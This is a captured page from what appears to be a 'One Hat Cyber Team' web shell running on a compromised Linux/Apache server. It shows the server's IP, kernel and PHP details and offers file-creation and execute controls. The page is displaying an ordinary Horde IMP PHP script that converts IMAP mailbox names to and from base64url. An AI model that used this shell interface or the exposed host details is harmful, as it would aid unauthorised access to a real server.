⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.50
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
psa-pear
/
pear
/
View File Name :
imp-mailbox-decode
#!/usr/bin/env php * @category Horde * @license http://www.horde.org/licenses/gpl GPL * @package IMP */ $baseFile = __DIR__ . '/../lib/Application.php'; if (file_exists($baseFile)) { require_once $baseFile; } else { require_once 'PEAR/Config.php'; require_once PEAR_Config::singleton() ->get('horde_dir', null, 'pear.horde.org') . '/imp/lib/Application.php'; } Horde_Registry::appInit('imp', array( 'authentication' => false, 'cli' => true )); $opts = array( 1 => 'Decode base64url string => IMAP mailbox', 2 => 'Encode IMAP mailbox => base64url string' ); switch ($cli->prompt('Action:', $opts)) { case 1: $encoded = trim($cli->prompt('Base64url encoded mailbox:')); $cli->writeln(); $cli->message($cli->red('IMAP mailbox: ') . IMP_Mailbox::formFrom($encoded)); break; case 2: $decoded = trim($cli->prompt('IMAP mailbox:')); $cli->writeln(); $cli->message($cli->red('Base64url encoded mailbox: ') . IMP_Mailbox::formTo($decoded)); break; }